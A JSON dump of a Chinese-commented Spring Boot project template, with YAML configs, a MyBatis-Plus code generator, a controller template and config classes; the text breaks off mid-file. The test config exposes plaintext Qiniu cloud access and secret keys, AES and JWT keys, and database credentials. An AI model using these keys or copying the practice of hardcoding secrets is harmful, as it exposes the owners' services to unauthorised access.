  },
  {
    "path": "java_project_template/jun_api_service_main/src/main/resources/application-sqlite.yml",
    "content": "# 数据源配置\nspring:\n  datasource:\n    type: com.alibaba.druid.pool.DruidDataSource\n    driverClassName: org.sqlite.JDBC\n    druid:\n      # 主库数据源\n      master:\n        # 发布后\n        # url: jdbc:sqlite:./sqlite/code-generator.db\n        # 开发时\n        url: jdbc:sqlite::resource:static/sqlite/code-generator.db\n        username: root\n        password: password"
  },
  {
    "path": "java_project_template/jun_api_service_main/src/main/resources/application-test.yml",
    "content": "spring:\n  redis:\n    host: localhost # Redis服务器地址\n    database: 0 # Redis数据库索引（默认为0）\n    port: 6379 # Redis服务器连接端口\n    password: # Redis服务器连接密码（默认为空）\n    jedis:\n      pool:\n        max-active: 8 # 连接池最大连接数（使用负值表示没有限制）\n        max-wait: -1 # 连接池最大阻塞等待时间（使用负值表示没有限制）\n        max-idle: 8 # 连接池中的最大空闲连接\n        min-idle: 0 # 连接池中的最小空闲连接\n    timeout: 3000 # 连接超时时间（毫秒\n  # mysql\n  datasource:\n    type: com.alibaba.druid.pool.DruidDataSource\n    #MySQL配置\n    driverClassName: com.mysql.jdbc.Driver\n    url: jdbc:mysql://localhost:3306/db_qixing?useUnicode=true&useSSL=false&characterEncoding=utf8&serverTimezone=GMT%2b8\n    username: root\n    password:\n#    username: ENC(i9EHZ6vsnfpTeKGvHmH+fA==)\n#    password: ENC(KX2tfUq8cZG3IXeAwZgk5w==)\n    #oracle配置\n    #    driverClassName: oracle.jdbc.OracleDriver\n    #    url: jdbc:oracle:thin:@47.100.206.162:1521:xe\n    #    username: renren\n    #    password: 123456\n    #SQLServer配置\n    #    driverClassName: com.microsoft.sqlserver.jdbc.SQLServerDriver\n    #    url: jdbc:sqlserver://192.168.10.10:1433;DatabaseName=renren_fast\n    #    username: sa\n    #    password: 123456\n    #PostgreSQL配置\n    #    driverClassName: org.postgresql.Driver\n    #    url: jdbc:postgresql://192.168.10.10:5432/renren_fast\n    #    username: postgres\n    #    password: 123456\n    \n  groovy-api:\n#    servicename: jun-engine-api\n#    enabled: true\n#    context: /api\n#    api_config: api_config\n#    gateway: ~\n#    config:\n#      sql: sql.xml\n#      datasource: datasource.xml\n#    service-title: API平台\n#    file-path: ~\n#    datasource:\n#      dbtype: \n#      url: \n#      username: \n#      password: \n#    class-model:\n#      transcation: true\n#    sql-model:\n#      find-one-suffix: /first\n#      pager-suffix: /page\n#      count-suffix: /count\n      \n\nfilepath: \"D:\\\\files\\\\\"\nfile:\n  #文件上传目录 绝对路径 末尾请加 /\n  path: D:/files/ #windows\n  #path: /home/data/files/ #linux\n  #文件预览、下载的url, 末尾请勿加 /\n  url: http://qixing.vip321.vip/files\n  qiniuAccessKey: ts0n9OF16ekFkDkZTTlpmyPI-tP3HKQDyw_GR4o2\n  qiniuBucketName: qixing-files\n  qiniuDomain: http://qiniu.vip321.vip\n  qiniuPrefix: upload\n  qiniuSecretKey: c-OjjwV3ZgzCQwxc6W_bsTFKuDg8qeyqohyJU0RL\n  type: 1\n\n\n# AES密码加密私钥(Base64加密)\nencryptAESKey: V2FuZzkyNjQ1NGRTQkFQSUpXVA==\n# JWT认证加密私钥(Base64加密)\nencryptJWTKey: U0JBUElKV1RkV2FuZzkyNjQ1NA==\n# AccessToken过期时间-5分钟-5*60(秒为单位)\naccessTokenExpireTime: 300\n# RefreshToken过期时间-30分钟-30*60(秒为单位)\nrefreshTokenExpireTime: 1800\n# Shiro缓存过期时间-5分钟-5*60(秒为单位)(一般设置与AccessToken过期时间一致)\nshiroCacheExpireTime: 300"
  },
  {
    "path": "java_project_template/jun_api_service_main/src/main/resources/application.yml",
    "content": "# 端口\nserver:\n  port: 9080\n  http2:\n    enabled: true\n\nspring:\n  profiles:\n    active: test\n  mvc:\n    throw-exception-if-no-handler-found: true\n  resources:\n    add-mappings: false\n  application:\n    name: groovy_api_service\n  jackson:\n    date-format: yyyy-MM-dd HH:mm:ss\n    time-zone: GMT+8\n  # 文件大小限制\n  servlet:\n    multipart:\n      max-file-size: 10MB\n      max-request-size: 100MB\n  main:\n    allow-bean-definition-overriding: true\n  # redis token信息\n  redis:\n    key:\n      prefix:\n        userToken: \"user:token:\"\n        passwordError: \"user:password:error:\"\n        permissionRefresh: \"user:token:permissionRefresh:\"\n      expire:\n        userToken: 604800 # 7天 7*24*3600\n        passwordError: 3600 # 一个小时\n        permissionRefresh: 604800 # 7天 7*24*3600\n    allowMultipleLogin: true # 允许多处登陆\n\nmybatis-plus:\n  configuration:\n    log-impl: org.apache.ibatis.logging.stdout.StdOutImpl\n  mapper-locations: classpath:mapper/${project.database}/**/*.xml,classpath:mapper/*.xml\n  global-config:\n    db-config:\n      logic-delete-value: 0\n      logic-not-delete-value: 1\n      logic-delete-field: deleted\n\n#使用代码生成模块时 指定要生成的表存在于哪种数据库，可选值有【mysql、oracle、sqlServer】\nproject:\n  database: mysql\n\njasypt:\n  algorithm: PBEWithMD5AndDES\n  encryptor:\n    password: 123456@@\n\nshiro:\n  enable: false"
  },
  {
    "path": "java_project_template/jun_api_service_main/src/test/java/CodeGenerator.java",
    "content": "import com.baomidou.mybatisplus.core.toolkit.StringPool;\nimport com.baomidou.mybatisplus.generator.AutoGenerator;\nimport com.baomidou.mybatisplus.generator.InjectionConfig;\nimport com.baomidou.mybatisplus.generator.config.*;\nimport com.baomidou.mybatisplus.generator.config.po.TableInfo;\nimport com.baomidou.mybatisplus.generator.config.rules.DateType;\nimport com.baomidou.mybatisplus.generator.config.rules.NamingStrategy;\nimport com.baomidou.mybatisplus.generator.engine.FreemarkerTemplateEngine;\n\nimport java.util.ArrayList;\nimport java.util.List;\n\n// 演示例子，执行 main 方法控制台输入模块表名回车自动生成对应项目目录中\npublic class CodeGenerator {\n\n\n    //多个表逗号分隔\n    static String tableName = \"user\";\n    //逻辑删除字段名, 假如表没有逻辑删除字段，请忽视\n    static String logicDeleteFieldName = \"del_flag\";\n\n    public static void main(String[] args) {\n        // 代码生成器\n        AutoGenerator mpg = new AutoGenerator();\n\n        // 全局配置\n        GlobalConfig gc = new GlobalConfig();\n        String projectPath = System.getProperty(\"user.dir\");\n        gc.setOutputDir(projectPath + \"/src/main/java\");\n        gc.setAuthor(\"aitangbao\");\n        gc.setOpen(false);\n        gc.setBaseColumnList(true);\n        gc.setBaseResultMap(true);\n        gc.setDateType(DateType.ONLY_DATE);\n        // gc.setSwagger2(true); 实体属性 Swagger2 注解\n        mpg.setGlobalConfig(gc);\n\n        // 数据源配置\n        DataSourceConfig dsc = new DataSourceConfig();\n        dsc.setUrl(\"jdbc:mysql://localhost:3306/project?useUnicode=true&useSSL=false&characterEncoding=utf8&serverTimezone=UTC\");\n        // dsc.setSchemaName(\"public\");\n        dsc.setDriverName(\"com.mysql.cj.jdbc.Driver\");\n        dsc.setUsername(\"root\");\n        dsc.setPassword(\"123456\");\n        mpg.setDataSource(dsc);\n\n        // 包配置\n        PackageConfig pc = new PackageConfig();\n        pc.setParent(\"com.jun.plugin.system\");\n        pc.setEntity(\"model\");\n        pc.setMapper(\"dao\");\n        pc.setController(\"web\");\n        mpg.setPackageInfo(pc);\n\n        // 自定义配置\n        InjectionConfig cfg = new InjectionConfig() {\n            @Override\n            public void initMap() {\n                // to do nothing\n            }\n        };\n\n        // 如果模板引擎是 freemarker\n        String templatePath = \"/templates/mapper.xml.ftl\";\n        // 如果模板引擎是 velocity\n        // String templatePath = \"/templates/mapper.xml.vm\";\n\n        // 自定义输出配置\n        List<FileOutConfig> focList = new ArrayList<>();\n        // 自定义配置会被优先输出\n        focList.add(new FileOutConfig(templatePath) {\n            @Override\n            public String outputFile(TableInfo tableInfo) {\n                // 自定义输出文件名 ， 如果你 Entity 设置了前后缀、此处注意 xml 的名称会跟着发生变化！！\n                return projectPath + \"/src/main/resources/mapper/\" + tableInfo.getEntityName() + \"Mapper\" + StringPool.DOT_XML;\n            }\n        });\n        cfg.setFileOutConfigList(focList);\n        mpg.setCfg(cfg);\n\n        // 配置模板\n        TemplateConfig templateConfig = new TemplateConfig();\n\n        // 配置自定义输出模板\n        //指定自定义模板路径，注意不要带上.ftl/.vm, 会根据使用的模板引擎自动识别\n//         templateConfig.setEntity(\"templates/entity.java\");\n        // templateConfig.setService();\n         templateConfig.setController(\"templates/controller.java\");\n\n        templateConfig.setXml(null);\n        mpg.setTemplate(templateConfig);\n\n        // 策略配置\n        StrategyConfig strategy = new StrategyConfig();\n        strategy.setNaming(NamingStrategy.underline_to_camel);\n        strategy.setColumnNaming(NamingStrategy.underline_to_camel);\n//        strategy.setSuperEntityClass(\"你自己的父类实体,没有就不用设置!\");\n        strategy.setEntityLombokModel(true);\n        strategy.setRestControllerStyle(true);\n        // 公共父类\n//        strategy.setSuperControllerClass(\"你自己的父类控制器,没有就不用设置!\");\n        // 写于父类中的公共字段\n//        strategy.setSuperEntityColumns(\"id\");\n        strategy.setInclude(tableName.split(\",\"));\n        strategy.setControllerMappingHyphenStyle(true);\n        strategy.setLogicDeleteFieldName(logicDeleteFieldName); // 逻辑删除字段名称\n        strategy.setTablePrefix(pc.getModuleName() + \"_\");\n        mpg.setStrategy(strategy);\n        mpg.setTemplateEngine(new FreemarkerTemplateEngine());\n        mpg.execute();\n    }\n\n}"
  },
  {
    "path": "java_project_template/jun_api_service_main/src/test/java/com/jun/plugin/system/Tester.java",
    "content": "package com.jun.plugin.system;\n\nimport org.junit.Test;\nimport org.junit.runner.RunWith;\nimport org.springframework.boot.test.context.SpringBootTest;\nimport org.springframework.test.context.junit4.SpringRunner;\n\n/**\n * 单元测试\n */\n@RunWith(SpringRunner.class)\n@SpringBootTest(classes = ApiServiceApplication.class,webEnvironment = SpringBootTest.WebEnvironment.RANDOM_PORT)\npublic class Tester {\n\n    @Test\n    public void test() {\n\n    }\n}\n\n\n\n"
  },
  {
    "path": "java_project_template/jun_api_service_main/src/test/resources/templates/controller.java.ftl",
    "content": "package ${package.Controller};\n\nimport com.baomidou.mybatisplus.extension.plugins.pagination.Page;\nimport core.com.jun.plugin.system.Result;\nimport core.com.jun.plugin.system.ResultGenerator;\nimport io.swagger.annotations.ApiImplicitParam;\nimport io.swagger.annotations.ApiImplicitParams;\nimport org.springframework.web.bind.annotation.*;\nimport ${package.Service}.${table.serviceName};\nimport ${package.Entity}.${entity};\nimport io.swagger.annotations.Api;\nimport io.swagger.annotations.ApiOperation;\nimport lombok.extern.slf4j.Slf4j;\nimport com.baomidou.mybatisplus.core.metadata.IPage;\n\nimport javax.annotation.Resource;\n<#if restControllerStyle>\nimport org.springframework.web.bind.annotation.RestController;\n<#else>\nimport org.springframework.stereotype.Controller;\n</#if>\n<#if superControllerClassPackage??>\nimport ${superControllerClassPackage};\n</#if>\n\n/**\n * <p>\n * ${table.comment!} 前端控制器\n * </p>\n *\n * @author ${author}\n * @since ${date}\n */\n<#if restControllerStyle>\n@Api(tags = {\"${table.comment!}\"})\n@Slf4j\n@RestController\n<#else>\n@Controller\n</#if>\n@RequestMapping(\"<#if package.ModuleName??>/${package.ModuleName}</#if>/<#if controllerMappingHyphenStyle??>${controllerMappingHyphen}<#else>${table.entityPath}</#if>\")\n<#if kotlin>\nclass ${table.controllerName}<#if superControllerClass??>:${superControllerClass}()</#if>\n<#else>\n<#if superControllerClass??>public class ${table.controllerName} extends ${superControllerClass}{\n<#else>public class ${table.controllerName} {\n</#if>\n\n    @Resource\n    private ${table.serviceName} ${(table.serviceName?substring(1))?uncap_first};\n\n\n    @ApiOperation(value = \"新增${table.comment!}\")\n    @PostMapping(\"add\")\n    public Result add(@RequestBody ${entity} ${entity?uncap_first}){\n        ${(table.serviceName?substring(1))?uncap_first}.save(${entity?uncap_first});\n        return ResultGenerator.genSuccessResult();\n    }\n\n    @ApiOperation(value = \"删除${table.comment!}\")\n    @PostMapping(\"delete/{id}\")\n    public Result delete(@PathVariable(\"id\") Long id){\n        ${(table.serviceName?substring(1))?uncap_first}.removeById(id);\n        return ResultGenerator.genSuccessResult();\n    }\n\n    @ApiOperation(value = \"更新${table.comment!}\")\n    @PostMapping(\"update\")\n    public Result update(@RequestBody ${entity} ${entity?uncap_first}){\n        ${(table.serviceName?substring(1))?uncap_first}.updateById(${entity?uncap_first});\n        return ResultGenerator.genSuccessResult();\n    }\n\n    @ApiOperation(value = \"查询${table.comment!}分页数据\")\n    @ApiImplicitParams({\n        @ApiImplicitParam(name = \"currentPage\", value = \"页码\"),\n        @ApiImplicitParam(name = \"pageCount\", value = \"每页条数\")\n    })\n    @GetMapping(\"listByPage\")\n    public Result findListByPage(@RequestParam Integer currentPage,\n                                   @RequestParam Integer pageCount){\n        Page page = new Page(currentPage, pageCount);\n        IPage<${entity}> iPage = ${(table.serviceName?substring(1))?uncap_first}.page(page);\n        return ResultGenerator.genSuccessResult(iPage);\n    }\n\n    @ApiOperation(value = \"id查询${table.comment!}\")\n    @GetMapping(\"getById/{id}\")\n    public Result findById(@PathVariable Long id){\n        return ResultGenerator.genSuccessResult(${(table.serviceName?substring(1))?uncap_first}.getById(id));\n    }\n\n}\n</#if>"
  },
  {
    "path": "java_project_template/jun_api_service_simple/pom.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<project xmlns=\"http://maven.apache.org/POM/4.0.0\"\n\txmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"\n\txsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 https://maven.apache.org/xsd/maven-4.0.0.xsd\">\n\t<modelVersion>4.0.0</modelVersion>\n\t<groupId>com.jun.plugin</groupId>\n\t<artifactId>jun_api_service_simple</artifactId>\n\t<version>1.0</version>\n\t<name>jun_api_service_simple</name>\n\n\t<dependencies>\n\t\t<dependency>\n\t\t\t<groupId>org.springframework.boot</groupId>\n\t\t\t<artifactId>spring-boot-starter-web</artifactId>\n\t\t</dependency>\n\t\t<!--<dependency>\n\t\t\t<groupId>io.github.wujun728</groupId>\n\t\t\t<artifactId>jun-groovy-api-spring-boot-starter</artifactId>\n\t\t\t<version>1.0.0</version>\n\t\t</dependency>-->\n\t\t<dependency>\n\t\t\t<groupId>io.github.wujun728</groupId>\n\t\t\t<artifactId>jun-db-activerecord</artifactId>\n\t\t\t<version>1.0.25</version>\n\t\t</dependency>\n\t\t<!-- freemarker-starter -->\n\t\t<dependency>\n\t\t\t<groupId>org.springframework.boot</groupId>\n\t\t\t<artifactId>spring-boot-starter-freemarker</artifactId>\n\t\t</dependency>\n\t\t<!--thymeleaf默认使用html5规则标签必须闭合等 使用次此包正常解析-->\n\t\t<!--<dependency>\n\t\t\t<groupId>org.springframework.boot</groupId>\n\t\t\t<artifactId>spring-boot-starter-thymeleaf</artifactId>\n\t\t</dependency>-->\n\t\t<dependency>\n\t\t\t<groupId>org.springframework.boot</groupId>\n\t\t\t<artifactId>spring-boot-starter-validation</artifactId>\n\t\t</dependency>\n\t\t<dependency>\n\t\t\t<groupId>com.github.xiaoymin</groupId>\n\t\t\t<artifactId>knife4j-spring-boot-starter</artifactId>\n\t\t\t<version>2.0.2</version>\n\t\t</dependency>\n\t\t<!-- thymeleaf ThymeleafConfigration 配置類  -->\n\t\t<dependency>\n\t\t\t<groupId>org.springframework.boot</groupId>\n\t\t\t<artifactId>spring-boot-starter-thymeleaf</artifactId>\n\t\t</dependency>\n\t\t<!-- 公共模块 -->\n\t\t<dependency>\n\t        <groupId>org.springframework.boot</groupId>\n\t        <artifactId>spring-boot-devtools</artifactId>\n\t\t\t<scope>runtime</scope>\n\t        <optional>true</optional>\n\t    </dependency>\n\n        <dependency>\n            <groupId>org.springframework.boot</groupId>\n            <artifactId>spring-boot-starter-mail</artifactId>\n        </dependency>\n        <dependency>\n            <groupId>org.springframework.boot</groupId>\n            <artifactId>spring-boot-starter-websocket</artifactId>\n        </dependency>\n\t\t<dependency>\n\t\t\t<groupId>mysql</groupId>\n\t\t\t<artifactId>mysql-connector-java</artifactId>\n\t\t\t<scope>runtime</scope>\n\t\t</dependency>\n\t\t<!--数据源-->\n\t\t<dependency>\n\t\t\t<groupId>com.alibaba</groupId>\n\t\t\t<artifactId>druid-spring-boot-starter</artifactId>\n\t\t\t<version>1.2.16</version>\n\t\t</dependency>\n\t\t<dependency>\n\t\t\t<groupId>com.baomidou</groupId>\n\t\t\t<artifactId>mybatis-plus-boot-starter</artifactId>\n\t\t\t<version>3.5.3.2</version>\n\t\t</dependency>\n\t\t<dependency>\n\t\t\t<groupId>org.springframework.boot</groupId>\n\t\t\t<artifactId>spring-boot-starter-data-redis</artifactId>\n\t\t</dependency>\n\t</dependencies>\n\t\n\t<!-- 依赖声明 -->\n    <dependencyManagement>\n        <dependencies>\n            <!-- SpringBoot的依赖配置-->\n            <dependency>\n                <groupId>org.springframework.boot</groupId>\n                <artifactId>spring-boot-dependencies</artifactId>\n                  \t<!-- <version>2.6.9</version> -->\n               <!-- <version>2.3.12.RELEASE</version> -->\n               <!-- <version>2.4.13</version> -->\n               \t\t<version>2.5.14</version>\n                <type>pom</type>\n                <scope>import</scope>\n            </dependency>\n        </dependencies>\n    </dependencyManagement>\n\n\t<build>\n\t\t<finalName>manager</finalName>\n\t\t<plugins>\n\t\t\t<plugin>\n\t\t\t\t<groupId>org.apache.maven.plugins</groupId>\n\t\t\t\t<artifactId>maven-compiler-plugin</artifactId>\n\t\t\t\t<version>3.8.0</version>\n\t\t\t\t<configuration>\n\t\t\t\t\t<source>1.8</source>\n\t\t\t\t\t<target>1.8</target>\n\t\t\t\t\t<encoding>UTF-8</encoding>\n\t\t\t\t</configuration>\n\t\t\t</plugin>\n  \t\t\t<!-- <plugin>\n                <groupId>org.springframework.boot</groupId>\n                <artifactId>spring-boot-maven-plugin</artifactId>\n                <configuration>\n                    <mainClass>com.jun.plugin.SpringbootApplication</mainClass>\n                </configuration>\n            </plugin> -->\n            \n            <!--<plugin>\n\t            <groupId>org.springframework.boot</groupId>\n\t            <artifactId>spring-boot-maven-plugin</artifactId>\n\t            <version>2.6.2</version>\n\t            <executions>\n\t                <execution>\n\t                    <goals>\n\t                        <goal>repackage</goal>\n\t                    </goals>\n\t                </execution>\n\t            </executions>\n\t        </plugin>-->\n\t\t</plugins>\n\t</build>\n\n\t<repositories>\n\t\t<repository>\n\t\t\t<id>aliyun-repos</id>\n\t\t\t<url>http://maven.aliyun.com/nexus/content/groups/public/</url>\n\t\t\t<snapshots>\n\t\t\t\t<enabled>false</enabled>\n\t\t\t</snapshots>\n\t\t</repository>\n\t</repositories>\n\n\t<pluginRepositories>\n\t\t<pluginRepository>\n\t\t\t<id>aliyun-plugin</id>\n\t\t\t<url>http://maven.aliyun.com/nexus/content/groups/public/</url>\n\t\t\t<snapshots>\n\t\t\t\t<enabled>false</enabled>\n\t\t\t</snapshots>\n\t\t</pluginRepository>\n\t</pluginRepositories>\n</project>\n"
  },
  {
    "path": "java_project_template/jun_api_service_simple/src/main/java/com/jun/plugin/project/QixingApplication.java",
    "content": "package com.jun.plugin.project;\n\nimport java.net.Inet4Address;\nimport java.net.InetAddress;\n\nimport com.alibaba.druid.spring.boot.autoconfigure.DruidDataSourceAutoConfigure;\nimport org.mybatis.spring.annotation.MapperScan;\nimport org.springframework.boot.CommandLineRunner;\nimport org.springframework.boot.SpringApplication;\nimport org.springframework.boot.autoconfigure.SpringBootApplication;\nimport org.springframework.boot.builder.SpringApplicationBuilder;\nimport org.springframework.boot.web.servlet.ServletComponentScan;\nimport org.springframework.boot.web.servlet.support.SpringBootServletInitializer;\nimport org.springframework.context.ApplicationContext;\nimport org.springframework.context.ConfigurableApplicationContext;\nimport org.springframework.context.annotation.Bean;\nimport org.springframework.core.env.Environment;\nimport org.springframework.scheduling.annotation.EnableScheduling;\n\nimport lombok.extern.slf4j.Slf4j;\n\n@Slf4j\n@EnableScheduling\n@SpringBootApplication(exclude = DruidDataSourceAutoConfigure.class) // 多数据源 (exclude = DruidDataSourceAutoConfigure.class)\n@MapperScan(\"com.jun.plugin.**.mapper\")\n//@ComponentScan(basePackages = \"com.jun.plugin\")\n@ServletComponentScan(basePackages = {\"com.jun.plugin.**.filter\"})\npublic class QixingApplication extends SpringBootServletInitializer {\n\n\tpublic static void main(String[] args) throws Exception {\n//      SpringApplication application = new SpringApplication(SpringbootApplication.class);\n//\t\tapplication.setBannerMode(Banner.Mode.OFF);\n//\t\tapplication.run(args);\n\t\tSystem.setProperty(\"spring.devtools.restart.enabled\", \"true\");\n\t\tConfigurableApplicationContext application = SpringApplication.run(QixingApplication.class, args);\n\t\tEnvironment env = application.getEnvironment();\n\t\tInetAddress inetAddress = Inet4Address.getLocalHost();\n\t\tString hostAddress = inetAddress.getHostAddress();\n\t\tString serverPort = env.getProperty(\"server.port\");\n\t\tString serverPath = env.getProperty(\"spring.application.name\");\n\t\tString url = env.getProperty(\"spring.datasource.url\");\n\n\t\tlog.info(\"项目启动成功！访问地址: http://{}:{}/{}\", hostAddress, serverPort, serverPath);\n\t\tlog.info(\"本机地址: http://localhost:{}\", serverPort);\n\t}\n\n\t@Override // 为了打包springboot项目\n\tprotected SpringApplicationBuilder configure(SpringApplicationBuilder builder) {\n\t\treturn builder.sources(this.getClass());\n\t}\n\n\t@Bean\n\tpublic CommandLineRunner commandLineRunner(ApplicationContext ctx) {\n\t\treturn args -> {\n\t\t\tSystem.out.println(\"Let's inspect the beans provided by Spring Boot:\");\n\t\t\tString[] beanNames = ctx.getBeanDefinitionNames();\n\t\t\tSystem.err.println(\"beanNames size = \"+ beanNames.length);\n\n\t\t\tfor (String beanName : beanNames) {\n\t\t\t\t//System.err.println(beanName);\n\t\t\t}\n\n\t\t};\n\t}\n}\n\n\n"
  },
  {
    "path": "java_project_template/jun_api_service_simple/src/main/java/com/jun/plugin/project/config/GlobalRequestBodyAdvice2.java",
    "content": "package com.jun.plugin.project.config;\n \nimport org.springframework.core.MethodParameter;\nimport org.springframework.http.HttpHeaders;\nimport org.springframework.http.HttpInputMessage;\nimport org.springframework.http.converter.HttpMessageConverter;\nimport org.springframework.web.bind.annotation.ControllerAdvice;\nimport org.springframework.web.servlet.mvc.method.annotation.RequestBodyAdvice;\n\nimport com.fasterxml.jackson.databind.ObjectMapper;\n\nimport java.io.IOException;\nimport java.io.InputStream;\nimport java.lang.reflect.Type;\nimport java.util.Map;\n \n/**\n * @title 全局请求参数处理类\n */\n@ControllerAdvice(basePackages = \"com.jun.plugin.*.controller\")//此处设置需要当前Advice执行的域 , 省略默认全局生效\npublic class GlobalRequestBodyAdvice2 implements RequestBodyAdvice {\n \n \n    /** 此处如果返回false , 则不执行当前Advice的业务 */\n    @Override\n    public boolean supports(MethodParameter methodParameter, Type targetType, Class<? extends HttpMessageConverter<?>> converterType) {\n//        return methodParameter.getMethod().isAnnotationPresent(XXApiReq.class);\n        return false;\n    }\n \n    /**\n     * @title 读取参数前执行\n     * @description 在此做些编码 / 解密 / 封装参数为对象的操作\n     *\n     *  */\n    @Override\n    public HttpInputMessage beforeBodyRead(HttpInputMessage inputMessage, MethodParameter parameter, Type targetType, Class<? extends HttpMessageConverter<?>> converterType) throws IOException {\n    \t// 提取数据\n        InputStream is = inputMessage.getBody();\n        byte[] data = new byte[is.available()];\n        is.read(data);\n        //转数据类型\n        ObjectMapper mapper = new ObjectMapper();\n        Map<String, String> m = mapper.readValue(new String(data), Map.class);\n        //m.forEach(null);\n    \treturn new XHttpInputMessage2(inputMessage, \"UTF-8\");\n    }\n \n    /**\n     * @title 读取参数后执行\n     */\n    @Override\n    public Object afterBodyRead(Object body, HttpInputMessage inputMessage, MethodParameter parameter, Type targetType, Class<? extends HttpMessageConverter<?>> converterType) {\n        return inputMessage;\n    }\n \n    /**\n     * @title 无请求时的处理\n     */\n    @Override\n    public Object handleEmptyBody(Object body, HttpInputMessage inputMessage, MethodParameter parameter, Type targetType, Class<? extends HttpMessageConverter<?>> converterType) {\n        return body;\n    }\n}\n \n//这里实现了HttpInputMessage 封装一个自己的HttpInputMessage\nclass XHttpInputMessage2 implements HttpInputMessage {\n    private HttpHeaders headers;\n    private InputStream body;\n \n    public XHttpInputMessage2(HttpInputMessage httpInputMessage, String encode) throws IOException {\n        this.headers = httpInputMessage.getHeaders();\n        this.body = encode(httpInputMessage.getBody(), encode);\n    }\n \n    private InputStream encode(InputStream body, String encode) {\n        //省略对流进行编码的操作\n        return body;\n    }\n \n    @Override\n    public InputStream getBody() {\n        return body;\n    }\n \n    @Override\n    public HttpHeaders getHeaders() {\n        return null;\n    }\n}"
  },
  {
    "path": "java_project_template/jun_api_service_simple/src/main/java/com/jun/plugin/project/config/MetaObjectHandlerConfig2.java",
    "content": "package com.jun.plugin.project.config;\n\nimport com.baomidou.mybatisplus.core.handlers.MetaObjectHandler;\n//import com.jun.plugin.project.service.HttpSessionService;\nimport org.apache.ibatis.reflection.MetaObject;\nimport org.springframework.stereotype.Component;\n\nimport java.util.Arrays;\nimport java.util.Date;\nimport java.util.HashSet;\n\n\n/**\n * mybatis plus 默认值配置\n *\n * @author wujun\n * @version V1.0\n * @date 2020年3月18日\n */\n@Component\npublic class MetaObjectHandlerConfig2 implements MetaObjectHandler {\n\n//    @Lazy\n//    @Resource\n//    HttpSessionService httpSessionService;\n\n    @Override\n    public void insertFill(MetaObject metaObject) {\n        Date currentDate = new Date();\n        String[] setterNames = metaObject.getSetterNames();\n        HashSet<String> setterNameSet = new HashSet<>(Arrays.asList(setterNames));\n        if (setterNameSet.contains(\"deleted\")) {\n            //默认未删除\n            setFieldValByName(\"deleted\", 0, metaObject);\n        }\n        if (setterNameSet.contains(\"createTime\")) {\n            //创建时间默认当前时间\n            setFieldValByName(\"createTime\", currentDate, metaObject);\n        }\n        if (setterNameSet.contains(\"createDate\")) {\n            //创建时间默认当前时间\n            setFieldValByName(\"createDate\", currentDate, metaObject);\n        }\n//        if (setterNameSet.contains(\"createId\")) {\n//            //创建时间默认当前时间\n//            setFieldValByName(\"createId\", httpSessionService.getCurrentUserId(), metaObject);\n//        }\n//        if (setterNameSet.contains(\"updateId\")) {\n//            //创建时间默认当前时间\n//            setFieldValByName(\"updateId\", httpSessionService.getCurrentUserId(), metaObject);\n//        }\n        if (setterNameSet.contains(\"updateTime\")) {\n            //创建时间默认当前时间\n            setFieldValByName(\"updateTime\", currentDate, metaObject);\n        }\n        if (setterNameSet.contains(\"updateDate\")) {\n            //创建时间默认当前时间\n            setFieldValByName(\"updateDate\", currentDate, metaObject);\n        }\n\n\n    }\n\n    @Override\n    public void updateFill(MetaObject metaObject) {\n        Date currentDate = new Date();\n        String[] setterNames = metaObject.getSetterNames();\n        HashSet<String> setterNameSet = new HashSet<>(Arrays.asList(setterNames));\n        if (setterNameSet.contains(\"updateTime\")) {\n            //创建时间默认当前时间\n            setFieldValByName(\"updateTime\", currentDate, metaObject);\n        }\n        if (setterNameSet.contains(\"updateDate\")) {\n            //创建时间默认当前时间\n            setFieldValByName(\"updateDate\", currentDate, metaObject);\n        }\n//        if (setterNameSet.contains(\"updateId\")) {\n//            //创建时间默认当前时间\n//            setFieldValByName(\"updateId\", httpSessionService.getCurrentUserId(), metaObject);\n//        }\n    }\n}"
  },
  {
    "path": "java_project_template/jun_api_service_simple/src/main/java/com/jun/plugin/project/config/MyBatisPlusConfig2.java",
    "content": "package com.jun.plugin.project.config;\n\nimport com.baomidou.mybatisplus.extension.plugins.inner.PaginationInnerInterceptor;\nimport org.springframework.context.annotation.Bean;\nimport org.springframework.context.annotation.Configuration;\n\n/**\n * mybatis plus config\n *\n * @author wujun\n * @version V1.0\n * @date 2020年3月18日\n */\n@Configuration\npublic class MyBatisPlusConfig2 {\n    /**\n     * 配置mybatis-plus 分页查件\n     */\n    @Bean\n    public PaginationInnerInterceptor paginationInterceptor() {\n        return new PaginationInnerInterceptor();\n    }\n}"
  },
  {
    "path": "java_project_template/jun_api_service_simple/src/main/java/com/jun/plugin/project/config/RedisCacheConfig2.java",
    "content": "package com.jun.plugin.project.config;\n\nimport java.time.Duration;\nimport java.util.HashMap;\nimport java.util.Map;\n\nimport org.springframework.beans.factory.annotation.Autowired;\nimport org.springframework.cache.annotation.EnableCaching;\nimport org.springframework.context.annotation.Bean;\nimport org.springframework.context.annotation.Configuration;\nimport org.springframework.data.redis.cache.RedisCacheConfiguration;\nimport org.springframework.data.redis.cache.RedisCacheManager;\nimport org.springframework.data.redis.cache.RedisCacheWriter;\nimport org.springframework.data.redis.connection.RedisConnectionFactory;\nimport org.springframework.data.redis.core.RedisTemplate;\nimport org.springframework.data.redis.serializer.GenericJackson2JsonRedisSerializer;\nimport org.springframework.data.redis.serializer.RedisSerializationContext;\nimport org.springframework.data.redis.serializer.RedisSerializer;\nimport org.springframework.data.redis.serializer.StringRedisSerializer;\n\nimport javax.annotation.Resource;\n\n/**\n * Redis缓存配置。\n */\n@Configuration\n@EnableCaching\npublic class RedisCacheConfig2 {\n\n\t@Autowired\n    private RedisTemplate<String,Object> redisTemplate;\n\n\t@Resource\n\tprivate RedisConnectionFactory factory;\n\n\t@Bean\n\tpublic RedisTemplate<String, Object> redisTemplate() {\n\t\tRedisTemplate<String, Object> redisTemplate = new RedisTemplate<>();\n\t\tredisTemplate.setConnectionFactory(factory);\n\t\t// 字符串Key序列化\n\t\tStringRedisSerializer stringRedisSerializer = new StringRedisSerializer();\n\t\tredisTemplate.setKeySerializer(stringRedisSerializer);\n\t\tredisTemplate.setHashKeySerializer(stringRedisSerializer);\n\t\t// 对象值序列化\n//\t\tObjectRedisSerializer objectRedisSerializer = new ObjectRedisSerializer();\n\t\tRedisSerializer<Object> objectRedisSerializer = new GenericJackson2JsonRedisSerializer();\n\t\tredisTemplate.setValueSerializer(objectRedisSerializer);\n\t\tredisTemplate.setHashValueSerializer(objectRedisSerializer);\n\t\treturn 